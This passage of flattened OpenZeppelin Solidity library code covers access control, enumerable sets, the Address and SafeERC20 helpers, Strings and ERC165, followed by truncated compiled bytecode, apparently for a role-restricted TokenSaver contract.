// or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControlEnumerable.sol"; import "./AccessControl.sol"; import "../utils/structs/EnumerableSet.sol"; /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override(AccessControl, IAccessControl) { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable is IAccessControl { /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) external view returns (address); /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x608060405234801561001057600080fd5b50600436106100c95760003560e01c80639010d07c11610081578063a217fddf1161005b578063a217fddf146101eb578063ca15c873146101f3578063d547741f1461020657600080fd5b80639010d07c1461017657806391d14854146101a15780639afdb2c2146101d857600080fd5b80632f2ff15d116100b25780632f2ff15d1461012757806336568abe1461013c57806376175b061461014f57600080fd5b806301ffc9a7146100ce578063248a9ca3146100f6575b600080fd5b6100e16100dc366004610da7565b610219565b60405190151581526020015b60405180910390f35b610119610104366004610d40565b60009081526020819052604090206001015490565b6040519081526020016100ed565b61013a610135366004610d59565b610244565b005b61013a61014a366004610d59565b61026b565b6101197fd9d917c4034cff8a8c5fa1e40f9fbaf906b827c33ae3ab1fcabbb616cb8ef24d81565b610189610184366004610d85565b61028d565b6040516001600160a01b0390911681526020016100ed565b6100e16101af366004610d59565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b61013a6101e6366004610ce2565b6102ac565b610119600081565b610119610201366004610d40565b6103c3565b61013a610214366004610d59565b6103da565b60006001600160e01b03198216635a05180f60e01b148061023e575061023e82610407565b92915050565b61024e828261043c565b600082815260016020526040902061026690826103f2565b505050565b6102758282610462565b600082815260016020526040902061026690826104ea565b60008281526001602052604081206102a590836104ff565b9392505050565b6102d67fd9d917c4034cff8a8c5fa1e40f9fbaf906b827c33ae3ab1fcabbb616cb8ef24d336101af565b61034d5760405162461bcd60e51b815260206004820152602c60248201527f546f6b656e53617665722e6f6e6c79546f6b656e53617665723a207065726d6960448201527f7373696f6e2064656e696564000000000000000000000000000000000000000060648201526084015b60405180910390fd5b6103616001600160a01b038416838361050b565b826001600160a01b0316826001600160a01b031661037c3390565b6001600160a01b03167f30d87cec6b4c56cede1018725d1e6d9304e2f7ee6d25b004b7e2183f793f26bc846040516103b691815260200190565b60405180910390a4505050565b600081815260016020526040812061023e90610572565b610275828261057c565b6103ee82826105a2565b5050565b60006102a5836001600160a01b038416610640565b60006001600160e01b03198216637965db0b60e01b148061023e57506301ffc9a760e01b6001600160e01b031983161461023e565b600082815260208190526040902060010154610458813361068f565b61026683836105a2565b6001600160a01b03811633146104e05760405162461bcd60e51b815260206004820152602f60248201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560448201527f20726f6c657320666f722073656c6600000000000000000000000000000000006064820152608401610344565b6103ee828261070d565b60006102a5836001600160a01b03841661078c565b60006102a5838361087f565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1663a9059cbb60e01b1790526102669084906108a9565b600061023e825490565b600082815260208190526040902060010154610598813361068f565b610266838361070d565b6000828152602081815260408083206001600160a01b038516845290915290205460ff166103ee576000828152602081815260408083206001600160a01b03851684529091529020805460ff191660011790556105fc3390565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60008181526001830160205260408120546106875750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915561023e565b50600061023e565b6000828152602081815260408083206001600160a01b038516845290915290205460ff166103ee576106cb816001600160a01b0316601461098e565b6106d683602061098e565b6040516020016106e7929190610ded565b60408051601f198184030181529082905262461bcd60e51b825261034491600401610e6e565b6000828152602081815260408083206001600160a01b038516845290915290205460ff16156103ee576000828152602081815260408083206001600160a01b0385168085529252808320805460ff1916905551339285917ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b9190a45050565b600081815260018301602052604081205480156108755760006107b0600183610ed8565b85549091506000906107c490600190610ed8565b90508181146108295760008660000182815481106107e4576107e4610f62565b906000526020600020015490508087600001848154811061080757610807610f62565b6000918252602080832090910192909255918252600188019052604090208390555b855486908061083a5761083a610f4c565b60019003818190600052602060002001600090559055856001016000868152602001908152602001600020600090556001935050505061023e565b600091505061023e565b600082600001828154811061089657610896610f62565b9060005260206000200154905092915050565b60006108fe826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610b379092919063ffffffff16565b805190915015610266578080602001905181019061091c9190610d1e565b6102665760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e60448201527f6f742073756363656564000000000000000000000000000000000000000000006064820152608401610344565b6060600061099d836002610eb9565b6109a8906002610ea1565b67ffffffffffffffff8111156109c0576109c0610f78565b6040519080825280601f01601f1916602001820160405280156109ea576020820181803683370190505b509050600360fc1b81600081518110610a0557610a05610f62565b6